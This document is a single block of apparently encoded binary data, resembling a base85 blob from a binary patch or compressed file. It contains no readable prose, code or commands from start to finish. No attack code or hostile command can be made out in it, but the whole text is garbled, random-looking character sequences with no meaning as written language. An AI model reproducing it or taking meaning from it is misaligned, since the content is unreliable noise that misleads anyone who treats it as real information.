zotkDszM#MJ$rBSj4#xtlBNlB)&q#+umfT&;nj@`H36%kJLK_7@`apK90ZItwYI4uy z(_wu@)%sM?eDPHi* zPMZWrC(rU<9P3FQ->3-0Oj(`qG7Hw@7?IC2cMxLq@({L-m`sFi+c5>%Hf7qBZQJ5d zxEh#!+H^y$Dlqsn-zF@4C>?GFsP3%|JujD zVNf4k|Fw^Q!=OI8{c9iphQT*n>HOK^?3r({<=|+drJ<@EB&}F`kkqC$P*rHt9wf^+ ze~MsjLRKEasu41kH@SYmijKEq0pcsd^b!GI^jwT3$@T%>{BndiEoO&G{;~w`(=3iw zhcp(M#hQ&fX0enj4a#P*X5)!jET3EM%$`p#A7$2h_(Ndwrle`2eV#2#o zqfO}6F0`1?twx*E`Rg&}Y_nLg??_j9%;Lq~V=G?lKepn<9%L(?@_jvR#Z$iRc*^&y zfNwiqY6rHiT1id7CV-jXr}*OKDC?K5n9+YlvFheun70A7YF13Wjq7CPCf^oEEa_PC zeVlTxv56&KF_4)o_o5uLRz5~-h2^8fwpcz&Y?0-os4YLw@=?^5e+4LNt0EM&)!8mv z6``oDE_T_f2t{pmwaZpTDAphqwhMtzE>nY1b;)rfL2{A8ovrRmP*N8pBf*lVwp>lV^^xYDl`j$6au@YR?9gb}Z=x zj?GtlS>Uc7m-I1zhieYsKgF6QVZ%s-6VutP6zYYC2dr*4r~EG^@8~s2+sA@V}pg=^hv! z8rU~Nt5Hi|;Zt+>Z0Ow@=Z=1zJNf&lq|m90PuI@fe7kk&EUAdl$;YQlmo6$*cmGbX z#SrBj_ij63>G2DZU)P5B`>+L}reD`V6)e3Ko{LLX8Afn+|^2~8o%5OVhzB0#| z*~9c*2Fw$4oE3Yn@Zdlr_V9qM^kMt!EqGo1pN)EqG;reQ-Zbc*vj@DjbHNzz?1!5w-{llG*>2Px_{2 zO^h9#4GW*sGt)-1B|Po3(i04@I(2kT7yr=%<5S|Jv*JgyX)#={&Va?I9bnP5&_n21 zQ-A|hiBKE98nq@(kp71!#b&0X6_wY(Hmd#^hNRS_DL_*N!LsTkSQ`S_6tuacJ)N|< zDV}cHT!W|kFzwujDy{Lp&iLe@7ewofue8SR?;%oe%-80+Yjbk|p5ay&B4~|6fE41S zoqy3#Piquho5ABW+U^cny|l)G?x4+nsw+~vBUhKFb=Mk0+;zEXupZ*B&jrWfpc?Jz zqcx^@cGDUSo@(vfD*RsLc&?(;5dr0yK~f2a+kR@iZW^FOZZJktq#L zMG)A)q&o_J7qxjBCrC&x%0}{5&XOL$!qMOHM;4I z5$@W6@3O-6MzxzRubP`K;N(QLF5p6zht{Zd3imG1D+~3xYBx-|v)22RPI*$Bt98=n zI_ZoT`s7t}&<32I=%X{9ggCA8JjA&@Xbx0WI23keT`m-cqb|2EWHAEr1BILGtSNKR z84Drab^esHvNFt(8>N$;mTs*>jBj_uZ|NidT0YqO>_?TF3~Hm0)Qo) zSRjed2gCTNDBqMwh1k`UpyY7W2x5oJ87-+@(n&Aet+uof}yh*FYBSl!vE8(B@c!jsQr0!Ay-=C zd7^zVS!OX^$`eLJi7}(%yr%(h$jPpHg}q5H&QT=Uu>XS zV^fyf8Iaq*N=~rff#?+YVS8T(!ZAGt;`67JK_z7P6J7I44nigW${-7Z z$iP^N!^s?#@UTxAh#Cw(F<7(R10t0|a|RLZI>Nr}U-m%lqD?%x5`#6nYKT+{wsPr3 zV$lngFdv~rXDgQ!hq#u$>(R=fPD4XWzm4V-*-%Al71-%8VA)W79ZABYB4r|KGyKG0%|{$W%B@1Q zi)AXOgGyLl)GpfG1wS!ZvpXIl(QajU{|4j*(k`$TE&3=w?P&k3=m7p(^N~S(DBxLa z+PmnCKqPsSSj-8PutX;k9c_6IAj=Glr8vwdl`w^rfo1wR{KR0*Ha=J_mn1SU@cv~F z)GpfGL2z_q&F&nCg0@q~NvIPCzrj_6I#7~zeBChn92*apv<*=S^R$rYJgOwrZQbx_ zL!Z_|_w@Rv$MN4oJx88;^mgg)M_%yP_Jn zB#WP{pXZg-J?Esd;d>FuUBdPzUy50IrcCCUFBaCmC`QkyoqOWhiQA%B0iyk2xnqmq-4rBAjut#P>XvBm8tw5wEeK;l;; zE{UIPk7)UOohzdo)pcG{`egI98s1M%gv<_I_Hp~#iJoT+9aGnA7`gIF@!yqxRfTy6 zIhGx}vvAr+?<`I&-5Pt=HSK81)AxrxIoWyl+Pg=^Pp)73$1Ad%W48@ZxFr0~eJcC8 z=tBB$dT~w(TBQP85Dq~4K`!U0WQxHSs8mETOisWIXk>^s#Z)2~Z0{JJrG@OY#6VAG zz7W%B-HdjY80h7I!Q&!&=(+Y&c*BypFKm@c1s+u}CdR3X))G^dU~o*s&^{?>q$S1~ zVw4ITc`=7KE;=@|#JCU)jw9&n_1Cd*NJh!t509Z`8dL%uFT^wnf~dh`B9D28?N^a7 z$xP!UX%;a}RY~&&(>O|+GfY!S(mY@qXGv32K~*l2<{hS~ENMnFjS@6U{NPGwA7%&Z zOaAN!DzSEW4VD4Xz!O?DV98UBXa~!gXng${23t#I?o}7nKqJ4J|5e6)4IIxHdIn1& z!Emp-z$=&Xt4a1YpL;@P?O`l};e6E~EX)fAd^Nw5QV4Cf15y8N0vEJH`B3~w#^MthbCsFr2UEoUekS5AtM|9~*WEhV#{eu*7@`t=D`a zvyvE#U^rhMoUhcddo^U%I>sUx&X*@)iDT5sn5AizrTV(eSOmlQYRUQfr0v)*W!7Je zMKGMNR)j@+E7bCoNnK=?3WsV41jG5lBb(d~3zGhPDYL>Di(oikUW6sqS7v_IdNK>L zNCLrdzR0zfxv zM`hMs#v&N*l|AhUD~cUGXg+Z33I|d8${u`^Mf5m$s*}910z`ZP0eb|VsBldOe~DOp zF#x+_9Et10@tJslW#YRm;ESo2&#iM{Ze=fToLb`+hL6jJC&VK&5+`Rx#=vJ*le5Sd zSfvLOEu%TM^vp8FnRyeRZ8bw>C8cJhNDsP-X&1p}HWHFj$O}%`W0{d?lFlQ^Z5;X0uyTBh3&!lVDXnHN z$0p0TW!tcp$cj*6rYpjUS*{2tX1F38wFm3t%I^STb24kgX2mHrK5ErYFe^thbot$b zHKu>Zp=ILh`R`aXFaMTBefj-g`TDmk>dXKC%GbYTS?}#;!;|%{ZVsZ!mYz8gdzv{+ zZ1HAo%^XIpS@c_TnAqMcu*R}!$2dz3Rt$tSP<}q0;La`!6|I5l+O-oy;~FS0vIc4v zoWo3IM_6lXpa!#pv~&=*vIgoQM9wwCSz7~z)82GE4>k$b*81RSMy8#(8Fu2{vlF+< z4qQ)2-$pxdnBSl5zzqZ3&vxK&qSsBF#e$5%TKR>8UTX&qPs>-@fg2CF|JZ@U>0foc zo@5fNr7s@hyV`-n>Ho)e;9>yxjU70=V4`w{jY+VUz5x&qcOJN44Ttry$qt+zaQp1Q zVSOm@`i@Dk<~JJRUG2cN23&?6xJbZ#UWJXQ<@ANZ+-2({_uT-4)9YzQ=lXlxJ= z@Vv!Ze*1$y88C+!4%16;W^0TvY2p`ZK_tP}nxH#itJK6E!I{~^u3H1IaG3;K_UZwy z1;b+c2+nMcks30nHnaC%tTDO;ZZ`fuxyC3qHZn0j1zz0vUoS86%RgqEy$~`A7Ys@T zS$0GDUTuY>XEN$F8GaXGJqWBP(j*?jmZyDrtx-N0Pzf%D$L8m24nPxyoBEnWjjOhV ziv)LiqYlH|(SIyw7iy#47?pmE8^bqi72?wSme5J+XPaR9hE83Ie3oHPfCn`*El z`X~k$#=@5+evnAxse)I{{7x0TZst)yauFPG(bRYWWI4*jw4Rv00n2zK(~yIUA;!~^ zbv-a(r4M8z5ptk27HeHjX+0nx`C5-ctqbPE4c3knLspJyUtZAqoeK9W(ak>v2_^YE zjhQOIvVwxpWP}?F^e!4SrT5S!>OJzqT?&W^z{8LmUI5u0fu$M(3#FViq*5M0c5jFY zDhY-JX^h7pJugc_z^}3R<%M9EQ^6j^B;y)mzDHq*-!*WmDfp`yl!wOSG?ay#fMpEz z3dt!%Hno!vb?8zE7CZ_)u=D{>z+$OujRocf4=J4`K;@ncHmV^d;9ldpzr;_Q=o|qx zP^j_Chw=wI9<+`_wNw8mm#^WO9)}=7m?*jZM zZA4S>rdfzbp=S0iQoJqz#pVmm^JNJ%!(d1SBm&Z4+OA0X;-DioZkPG_Q2V4sT?_`t z(3mb@8Z>?dShmh!s#xQ968p4ygDN(yOK8+=II9b6(xBwhH)&I78k!Xs2g870J`4ht zp_J6ZvH2HC8+X+f9D`vFY6W6(g(ZsyQHsZ2`~QdkZ%Y6t9}04>lS(*O!8xRYtSKc^ zUg-Yta17CT!L}ihd|>NAq;9ZnMI<$BI}%9?Tf9fA5F%jPnMlK7OL0*kAxj}7O1cb? zG(?vJ+h8Kif-RmbDahIlw4@N0z;+OkR>PL!)`K*Z=(b9_ogj@Mx&yEsO{9F-IuWT@ zl1f0rxspP-23x!@pb&1s7AM^b;T~)$w-h9tm@0%*vG4OLFixHj38fAj*1xmzfjn~Uo6yZ+p+=Zwz zo;C*Mpb=4vbD^RjbO({Rl8`Klc7xp<_&JhdKo?5E54N#HA`8D@(GD#9$^eCcb8az= z2Z1iyp%NxKjp!8c;RnY+io@Bw7?MGt3@RbRKy>0VpAJX9T(Z7s;r+fvp3ioboO)jU zCt;YU>#Kis>B-X{Os~K3$o7Kirx)Mw82HJnk*_Z8IR0VWd(HZM74)Hm_lw#-p~lLQ z8QBXG&b}V_w8of;+g`ma&aCRp97iwurmuD)P+^>ozK z0}a|3UY?(n|FZ3ih_y!>XAW7n`Gc3^YF4SaCBo~A=NG2$Z@Amht8B`n+r6*pBEl2K z?u?r56;U}p%5z}b5y|hC4qICGX71kDABRlMnrPTO@?Oy9&-!)Ny&kF${-(Hn@aAT! zO@05F{?4bBf|}1B9&)Zl&R=4B1C3kPWOV7fW5cH}G8;Dzb-Qso`TKi5!|M+6`C!eP zKhC>$4;k&L|L)RHeGVM+eW%m%Y3&z|EA@Kz$&00fzrHfit@y22vj20-cpi!_r2nSp zYj{qhRNxjvUb91gV8@`rk^QHOH%wU=Bj50C)L6A!W{D?4xR?aKIb?{>F?gn8vm&?0 zWY*y`g>WZX^o2tk23&B$v+zQi%+e&NddMtn=NNFo3D2qmTAB6p{=(%lOGh~H?GOtV zwr8cHCyQU)MFkx-dl7UEWFdC0>EV#Wp+( z4;AuKmcRe$0ArAXSP+E8>_0BZ;aPYFtyJL9j={adOOw*rK$Y->ojI#I#3&W)WM6pN z)BUOJYZqfxw_qV&slX8hL*-xV!H}b%JHk=+zlH_N6=IZ%wk-aO6M2hd)+MHOwP4}c zr&PqV_>!0XK9pI%F|C^g3tOmC(SpTK@m~cQ6;p@@8w@oqSa4w&SUA37nDNzgIChCF z{0a?*S{AI@pj9gTNi00w_U7windQz{wJlg+8dw8FR;v-)WtKN%)v;jF1u$497;dFM z+9tDlGge&-7F__Nrz9ck@`d9vYXD=_vtW_MEmGTiGhaF9 z3gH;Tz(P6`+$~rQ2&*+?m4zSrM`q1qtOgb=oHi*Hc!`ca4TaqvS8scQmGh)6bPvYPjr=8Uolo=3l>gWlnNNmNbvsLAx>r$GgcD| z7Fpb)z}#Wj_UG3y+hbti1{0cEu$lqZ))@7Ov6@-1RD^};#L#`iY;exN!doV&D9hwp zVROJL6|*4Thww}{wH@dl!4R+sOa?Md3!;JLh+@YiQ){w}P|~1xei@-BXyjuGeo3l?rdgT*FW%HUJ^*vDh3-BfLt)NyH#@og?jHyusWs zDhzV!5d+_=Fmq+DVJOLR5OSnF7Rx7&KzNmilZX@}?P9#a+%PK4(hIMHhj09d6&-|M zG%?vnD?~%`lmr)r4fv@I0cwOv^dd3&Mh~`>j4b*6<7QDok;s=8HL!caW*}2OyYF2d z!nzSNPxPL$nHe4v8L3N!ulfYS)3pM=U&Ft1SMkoWN>$Olud)Ovk+zn z4rf^-?Z6=Y(2SWK@q+*!!45+NZ^J|AXfLD<0|;MuY@9Gp%GGXdkG z0s(?8+yjUUQ^Cc==7^$~@2uIwb~T4#2oN^ba9B?(?ZDxXwjFR^F|0zgXLj!vXW9j3 z_H5m|{Sk2Y85Yag*1g~=Eg;e)*s=#xFrg8{+OmiF5Wk=`emP+zRYrSKDBxy?uZyu*2R>JMBFKTv-M7u>8cYr&pBUHXd-P8-5sU)d%*QK@3BH zu(4Gi$$*<=ZqMvE2!~Z+r8RqII6Q8BXo0glu1*KsHVYiAsW7vL<8;~@4+ zUpsIPfD5s}!F!?1{NlB(FbkYzK5#sVu)tZjH`D@WX|EF4i?qO5+H(Y4oSnEtJ8+nf z6gzR5cHl4{Id{!TR?s# zfLP;G%N6r+DuFi4!hlLvt@0@JZ-cLPBloI#y!l=^d{xc=j=!|lf5)#=`@iG+*CBU_ z&2!A}my>@@UB<^LudPrH-@o2}=f9IX}XK1qaXnjt}j>g_%jq-Ezv$68t};!9y;rd4Mh6qEiU7V2h{U3Lzi1c;JB+ z2!D9UrE4Sb92Ib&!?RGpfutf540>!eiW;O=6bDipiUX+~#X+TXB$65=Uy1_>?pdHc zkh)PE3~T`u2hvF*X+b(eqzI7C6KOa|7l{-F(q$qgf^>~Y86e#tQVvKz5os1kKND#o zNOy>|1f<`Hv>K$}iL@T1M?~5RQYn!_v&SdF2yfsh{uP@8PDGXWg1Day3@g82<1hGV) zhc})DZ5}yT>5TA-yI@Z*J>4w|_EbeeECZj`i#%!$Ea{E6NTlBlZP7eWXk{e$m1*;^ z(ZO5kO7(fYP|_Of>5S(H7FPIGHQv+~+^(!s-YhH9&iz(Bx2$I7k9y+~PizYC3Ov_& zO~I6_oAMA^bgdce>Eqfa*fS%qPj6SZAU9N~UE9p_oQ1J&K`K;4fZ&5d6vnKF7~;*< z4anNu`NLN$AeW>VT;24ZQGO@kji4B*cCD#)Lm>hLu%z`NJbfO`50sJCcve%kG9N7J zjAuxs*0_jd7T?NNg=ik+pzc$^uo5-W)M<7qz_~D25I`{xqI2hat%Q`o-d5bpb6=zo z%1-9aPh6!C3T`=pH|&v@U}^b4aDEbORi`YmT`;@u04pmdk)3dRU8S{Mhpq z5@#RB+Sf#C#%jiBMn{evbF3xoAAz4EdB;*Tk+70th}0Xl2Z9XVbEt zmrIq#`Nbq|E-pD^-4Pd_siFCh7}_OaFCTHz9uCIx-Ysq~(Zm$AJ8sX1+ruo$R!A?D zJg5=L-lONE8G8&5PcEQyB!?Z^X#7A&8&?oWw5j0LTpBwRB-)Ttq}VJe7Mo8EVsE7s zyBDO%@Nn8ufi3n7VvsXl>@ku26E>06?qvcb}W4!4jAwg3jq$4nx=*UdK0fE*bF>#J0MDLkHOyt8}Zm8RRsD3LJIuHvh zJQosba520x}OorAEX&X(tqk;bAd&EF!igkR0}>tT`+-D< zdMt`@@N)#VP_s>=i99Ul!XK{3_Aah%>cWUz%;LunUhDaD*!qhOOHZHhVS0UuCgB%J)3reA} zk%7PosC4$HXzU_1_HQOMR@4*fme#&iv&1#OdPcP< zmk5ABXyriv<8~(e=oLLGp%ona@ExoUg0rG7$bztlZ0Tke{G$viAp?h1WWZZn{o(zq z1L@-Z2cQ)LPCzJ&O2}GFbf$~8( z-BBcd>j%G1ZxH@h-sq37Mj360hIcF(+LHu~h6HqorHSd{-yRc&Nur6vk2qz)dx>CT z3oj(X&n?9X2`TB(2D+3~8DSwaG&M1;U6 z2P8RdQc_x6`lKuYzr-1vJ}wPYrb>W!CS_+*A``O=nfPIWsFqo+RcYx4RZ^NNAw4rS z8a_SX&EV78ivs)KD`)bQHeBtHoF}B2=wef%v$7)b9Z^DD{KTZ#c=+rPeba10x1sy; zk4EdZ`F_0U_W>j4Udc=>uH&6Ian6KRJ2JCxJpK8`%jC_Y(i0uj-fe&IYPfLF@Nv&; zfA~s0BXIQGZx%=GNFUgE)yA#6cgNID&Kp?elh2HXUq=UM|0uiJsQ3L&t5)9YG;Qtt z-3JC_K7F@xv$dbcxPMY*((cvmyZn;&j#txxLi6aqhn0lC_svs}okbt%9?$6NuZ;8cac$@4Ume+h`r*STJ7*X^&g=VRv9ZsK$BQ>b+#hi_F!JMZfAl^yck{*z zpS|~G^6s2fA2jGPYhBaR&Oi5QIj-rAGv80>?+_q#f3ma3kKd)mJ}$YrFU4o&h<<-o z`}Vzd&j!?9^>kj%oMQveyp5aDrT3)jzugHc7+MluyHCvJ>MN?WytQr0$(F5e{M>t1 z^_3f{rMAzm*P`K@UI&EsJ9dbVr0khE=k}QPi|#(?)hOm}!nczm?s@In^<`FU`1UPB z0@5yiv7qCcDbX*z$BB=$G~G0!a*en-O@=t-oL{&k=bsx4j}yI&sv)#~#;p=WMfd*l0~de`i0r;ZH$#CKke zR}sH`cHrwj-?lN_X!=d|wjF1`n)*8V!;-X!Z@m*0WH=sLF%XPk%EB1=fs!#H_*A|)?Bi?& z17aLF7EUwdw@d!5zV%XO`6C4aVt7_%&?ptPF%rT%L&McFYYfrRg-JXMZ(%CM@5TuG zHoE>Ov)*Ma#PBQ}>E(Pq&hCCkX6;}s#PF=DgoRhdF@!oiN|0HXs8T=-&vFKhoI>68 zyU-TIGW?6N5W}-vI9AB2K?`J-2Rnu#hG$hHEU^rQhohi{iN5+W7Gii-b;7C#TMUz0 zUV2|<85j#OJPW5`axFU;^Y_ZE4UB~to`tPOE{&`OKdh2jrx^<|Jj;!+#C#$fGQ&ud9;aRwdQBI*xpHH^REInf(hG${gWY)6=dtibi zmb`%ph~Zgv2uo~HD|`21vr8Kw=I7MI|Jt zafqVpfj8b4Djti7s0mSsh+M7;o**7vt9WrJkpJgZRabX)_he>w)!py!Uoew5uRfpm zs;aB2s;j!IK?8--YR7bB7#dfSt^FwzKCxpuF$@Zq-K3a%<%$h<%*hNxqiAYVt{FSUAzyTb z<#F%BH=XBicW6;-w?i$Z(ITaUKEU~IEuTb&(a)Xi=Whndis{NQbly?SnQ{N<$t8?_ za;FtR#X=&Eat;lM@McRx14T)}6$0WS4Aac8YjhQ1oc0k1FR#>Oc`9vR**8ZRA{K>O zQR`gH7im7WX?EH)`)!&-HccEIcouYDC)+gV+BBnV8ocbpV&@v0=3bko+NSwdXik(l zJtj0KNzF-m*C;hZY#MzxVxz>S+A!DJG`9*3J;KF{iuz^>{P8T3s)eQOc{-Q}f$hp77Z7YJ%&)Q70(JXIf}>IMyesEbIC-hbDdC(650%7k}@Q66mS&RBGQ zQ7Ik1`i7?r)>6S@808_V9*jk2KZW~m-!|`L>FZ6wVi?6&PhgFQsP0^RN36m6POun8 z@pX!1k+0IJ6&H4vzVI3q78pkHbt?3Rud|1&`odtHDp(Ao`0B-2dcNr4uy)edxq`(o zim%>^uby9Ay3%0f2o}RAzD{E->Y-TJyL?AS>FavIVi?8O=>Qw~+LSu{DucCDuoy=1 zbp~VUzTQ2#{oGE{SG8aOhEaU=h1TQNd(R~ct{>S}`syWE45Rq!$5?uuU-#;S?+jMD zU@?p`GN*IV;}%VZtK}P~AvtG>=A4KY~l#0f+gl{J{LXq-HiRQ`m=_kukdG&nXBv^z| zS;HAiuPqxNK6i}4dPuMcqq5FXSfQ*_Z#Gze7c9c4taBMlFAYztlhKIkDSS_`2&1x+ z71qobuYSQ`?Gh})s4O32>7~)Vdoayl{VrI9QCWV4b?LkdmKvuNN26PgFTG<MM>^_pN2Mr8${F!Ekw?rE@^HbW!=VN}*AXgqFV z)OFvww@}QwuU>*h7?l-dEWPDV7<}k1gOw^+gi%?UjFp0K3T>+|M}g_SN(75ADhrow zNTJ?)ez)$nuMO5Kf<+jWHJY(#8joAAy^~*@it3}Muu(i& zLc56%Sf(4z(a?iMx07qu`4+_C)JnJH^uK88O+ScPRZ7M;x4=7f#>sE z@q7}L?$a_yrKSf)+c3!kaetlxO!JM%2#y-zALWR=zyPND(lbT}N2dDiZj%R^aDHF5 zre$TOq^JAF29gIFH~7J^VJ*d%;m^ifg#8XE6D-viO!KFX9+@4q8w*S~%%%ELvV+>F z5hxRz(?Gs~OY>!o8kLzfYNX$Xn*=SXGZ)JUU)D%}>WJWofFm$@U}~vhHQkqmD=a$fgxh~SHIoN83t7L9rK9-{RiVr3VCY9i^dqLpq9eHzS zO`179Hz#)zy{x0SI3LSA0zeBfQ}iG7J`lvs&4Krv$pr;7Tx>^v_DYSb*>%m!RZ zw`|qMK}~6$o+l%w=Fj3Onwg(Bo!-TfTacHpa*gD{YjJT{wvM?kr3h z70`kj-jGr-GpA&-2|jI7an9_5qAN@)u`Z~rj?sZu6nKTWRb^U1)89Q2<`9WZ7sADg z4Ht}32vcmrOk|vcK`LekK2zJ^mZMtU6EJw>`z#4BeU>p-0*A!)=iDP8r=z1H$ zd<^-P7Dnls;zW;{l$|m%Wn|XqEFTV~(X{z}nWHl@v(T~`WVRqKAzGF%WkgmmJ1r&E z7f4P@?w>t6H7E1@Ku-Gj?BM9Y*qoG$a(?M~nYbos^xa zA@PB1A8rSb+Wvv`5u>xRN2mFw8VL#dg4)Qy$dRK1KI5JNNlDRsTH1(F*`qLI!hHnE z1Lchb$phJ)1jz%@IcF40LZ&a6kuo|fD>KVyy1~E{Jt}4N=xo0~+h@AxKt>PF$VwlX znwdGur{9Gjqf!FC%u$&m{aKmWKJ%Rk$pb~*u%;wE)i)}AbTAtfwn~e;7m^2JmJ|0Z z5Ojo}B|LdB@>EcgJa9UOQgr)*;V|8ok{%3>N*kG>oIT=(1p}Ai8DX=qu+ZbX~@7K1LfW`HEi#hug2om88PrSFFw;i{49Ki zcUFhwE{DBm4ghk61;_TDF)dt?l`4EL!35H7d?>i_aoQWACG;$-h)=2;F@;D^SJm>2xo6K;&On|_mF4^cUCv- z^MenChH$i>!t1!iZV0ymk(+>7*rQ<_rSBeK#^HjPLPLJ11Jm=A$haZE{2BpA>1%o_ z9`V43LO8#B5%&QwZ}eiY260<}dA)aJ+$LaNJFQ{d21LIP%sr4ZlJ=a+ChfqAblgEffz5}0=} z?Lr}(Ju1J?fqA+=gN4OWe%}CQPEustB49=gh>W`gn3HHW86jNysQgX?=F12;YBzoc zX7C`g7TzAU8$n>6h=5B0ZWS;`BjD}?E&;RDkK;oj79Xefil$uO2c{X#O(TTMFGY98 z*98%9Wbbldo{WH_>DSkR`7Hu20l1c!@9s=<-Ux1dobo}ZV=rLFM8HwMFaemm1uk5E z>9{=$%z+3vI&QH;U9QXUp%Bg<9k(K2UWtHf30$4PkUa`c`K5e(6a|j@w^jr;1t)tW z5#J8D$pRZLA2gwQ6)I~op3#i`hoiI?n~J^*9|{eXUmtr%!5+0&H%DpjcHkb2V2|3X)lu531MVMD*!w9;d&hxm zHX`!z=p`_bj>iDtd{NlDEJ}N{lzvqd_U?$%-csO}MPYA!l=eOX?yD&5xoGfi3gPN= zbKu$uY(wYApeXI70GAboy%|y3n*&@$6!sp8(%$pHt%_hT4&}BjN_#ti+aHC!W^@r^ z3gM1NYv4KyY`Eh==^GxUy)@vmqp&wCN_$rUw;+N&YG0N{X>S>DE2FUYQIz(+0`B`L z>@}y0QBw$aJlX-*Ltw)l56W*!l=iZKyEuZqHn2A*N_&fdTN1$@&8w`4(%xF&wnnf= z_3uEG_6`FVI|>AZhRUy-z;I;v@o696hDNYQ=^G!Vy@|lhh+vP7@6A!#y9>BSqOeyT zrM(TnZHr)!@_R5!d&hxm7UZSe(DCRcFdP~Fcnko}7lpmcqO^B8a92fP?~W+#Ed_2_ z1bb9|>!Y-{6}T@V*lP}ZN29bChx_!};6owY@u2ke7Z?V_SGe|SC~z4O>{0siqO?~C z+`K64-5aI7CxCk?3VWNQwD%csyQ8qzI7=@%{x@9twFa)Uz=k^>RDQ#ww5I_#HVS)1 zQQEr>xSJ!`qx$kxl=hYbx7upYbW0|cR$ODu`B?1z2YdhSgvm$$C-?rHQc(Cuy}%rK zq%FEM@0(>`wZ?8H*nDc@Q*P{xRbIImaS2bwNjdJR1S!Wp6)WW!Ep!`UpGqu=)ymhq zX&0=T-EF(Ad8$ikd;BQh(M7A-(MXG5gWX98h`mvI)oR{Vds|{J6H=_|im%=HxHjB` zuMhFT>qS@A^KiY^y`~n4Z0AiV+e~R(rAK&s$M%@wE#4M4Me|(#3Bf|;gdY5LrGZfOT9#XEsk1&|BOq-_?l zeXKyG#0(*T-P*GIrpO;vi|=H*1v)Vk$yy zB`B;9+1Hmtu^SeHvWOT&?rX~GyC$DyW` zt*5zmhY0VgpPEqv6z?1tPjSucaeqxs`)kjfr*PQ*UpjOC{QUg2XU-pG9ZvZ@O`S2-^}L6w;{?5ja=EJOc@HHbcn{^^h}O(sX6KoPZ%YsLC+D8`TMmih znW28G;oQ6Gd4DD{83zLOXZTak`!f;2`!fee|IOUUl>f%;P?T2VqH#y<3A`nf8AK}FUihd*CGBH*-_4#ziK4eU`GDr9)XW9 z9hxfMCemzD!)@Xp(jUIUPO|^M_J{wi-2ZR%hksG-l{5RV><`1{@Be0h_~8Fr{o$XU zoxip}{G+p@oHc)Ce;7U^&U2DcPuM=e>hE7QVf!NU_D4_H-sf} z*pj%Y4LUD5P=1#(lV{?a7a&$xcyWd5Si#d({H+WlOG3__=taN|p1#1)_mbL^fTuYV zthC6L5r?DE@WDugfm@i7)9`IQx~5ubUZGId5*k=&d7K&ktIk_qN&o2c_Fk3;)3qd9 zvOS~z3H0@M-98AT@nn?2LdDoZ`{@plza?RpL$ z{`v;Xq5K!DE9b1q_A|^jJ^J;>+g|nu*bZMR&pMTgR;j-aiyGj>&`*|95AE^mr%u(K z)Ut)-t3v4IZdD6;YxjXTDDNBYXY?2>7aj5D5GumNoZ8coh`U%q=&2+wWkKR6$wiPX z#Tuz?H5{53IH|RH5}#O?(b}*!#ePvLTNq__*0H(u@#eM<48O#T)7{S2^!{6o&;87t zQ{&U1Ip@qL!Wb`ED(ycceRo*WC);OHU1TBZ&9r7&3O4mrcQac~J=MRNS9%~b*5#Df z|FGqLj2Zr`TJ9H^w?De&zK2;gwcN6oj4&>6u3L0s-Ofx}PAnR>*lK}OXZ<(EHahDF z$xzy1dczbN5lRFN!}$B{Tso{SOV7jp)7+)Ra zH*aKiuPNzGo!I=~uSLEtY>;Zhua4?&{!7t=I$HS5n`OhYNt!|xC{ zi%Y~xc4Ylsr{M2V$>I{R=)HJ$Un@+kW0J)sV$mk}c9z-KamnHmvFN3bc9z*!y<~BT zSQm0u;}}=tBL2#p0JJi&SX$qqM<6|H8}ds{eww+O74h=hASr-K7MI9RZbTNn$BUOb zmxwjp#4?W6>n30H-Z;+U60zvLWcHFUvtlKSOT;RT$fCE3abH{_)-{f-)ut3SmMkt2 zt1Kd`iDYq!ST{yw(aXem3b{nADo2*NH1IAf!Qv9J{uYtdOtQE{ta~D|;w6hq#Cph) zWiG?!lEo!rJsy!oZ?EK~!6jln8<9nC&EzaD5sThshZ=>-5=#v!!Z7}aeS0N?OT>89 z;}WrIBeKvi3l^7%^=?EKUVtW8Tq4${h^#h}#U)~W z7?Fjys0m+OBG#uSmT~se08$SpNfwugwKF2Ctz>bDSl>ltwUaC^5$m53S?wi@OT_w_ zv#8CzowvCcL#u}llEEcn9BGizQ8KthjQR!{og{-x#Ap;lN5CB>RVPaZmxvM18SE8r z#_>r(j2`HP)4aBFiCC>7vbsnXmx$FiA}dj{xJ0azBeJ?m7MFCayZR|5%aQr<}GPp#HD;)idG_m?f7MF;1WrKdsk_;{pW46hUaSoenP+!U760xpz zWSL96pJZ`~Smh>`bJ_KmEG`kN(!?@SX!eyPSzIC(y&2X%1~k{b0g}ZfV%=$C87VZE z`asFz60z>%EIOZ3@Drhm|6$*Bt;OpDmx%E&W9YB@JM#JugXZ7V?w+3>o_){oPMOdD zlzq{dd(KY3{_I!$JH{6zb!_qO88cR|JvQ_GHx52?LHE_2CLOt{%_~2*{PMXQhMm`F z!&l3eZQ7kY_WS4GTXIduq4O4GXMfabcegKYAM^7`5B7=s{imfHBgOA2UU>Vlywi_g zKIr?aH|E?KNWQ)Lf~Kw$V-8LpzO}F>Ke+qNnzNQ%-MQwR&N;PXGbil7?eC{GE?xHV zfa-5s-`}{|&wKt;ez<%+S=egI>eS*kHFwROe{tT!=N#OU^z(pgH*D8`-#2we?(kK4 zIkz6Wa>vqE3!X{c5u5Sgz*DA8`2B{fZ)$bRcj4@QI{xySrKioG^7;N#zr6C`=eHNX z5L5W>pm9^){N~J_KOKC3#NX2&^=^Fa;r04oU7!5$8;dqAe>zt8+uGgh*;X6ImFxa~ z7<^J))v?>h>c92$>iTf$(e3H!*Yh{BvUu71N1HVL_`RnGHQw@Y7yY$`H{5>0El=$# za_PUv?2oDMF>{Tk|30?mqDSBBbK!IP@12V;`FhBlN0#fq!^ID3d~*Kqj0r#dbjkj2 zc5RurDW>Sj&u3k`?3^Pj9$$Oqb*1sv-@3htzD*l{Kk)pw(f&@F^i%4!&vxFW<0Jk4 zv+Updle_xA9_jRUsKxex9yd` zf0C82cM^Zz>oyPQF63YHEBa{S&f})O3Z0s(`0X**aLJ6JxgU?aCB7+4dtxo7wFzy; zG{SF>TOTvr{^lhPcJP26Fir4HVO9O7E$ntEmcM=v-J|Qu$*(W6W2pD^xaoR{FkJ(g zemkZq!%$aDn7f<)j)Au|&CM8w<`@XGEGZe&YgSCWf^kiLYqK3g>#rWSZs*5tn;x)Z zkX2x4CXRe{AGh3R$506ycAV4WRWQ!!Nl-A(>1o9<4X39y!|cU3rFqHLmM_}Ve1d}U zBy9WHj%lM{`gHoKyB%{P!_W*O`TDwD%jfNwlNjc8f${YAK5NIcRWL8ixpku*(@w!$ zHn_grj%m*@s1PhY!|wUHuN~8YVHz%^PsxJsIXsd{b++q;moa%z7@L!Z38z zKDsk+4BeXRanqF3SPim9r< z#sNdia~?M#33Knk?(6J!&S02f_$FU5A3pJp9djnbG<+=jFigYkD&6Gcai@?Ue4LL3 zP8DFNHKWkEQ`@`j>7kW1qrceLZpZ_6On-*a`-^K{c@{-(Ekjym^teajo6>W9-X|yq 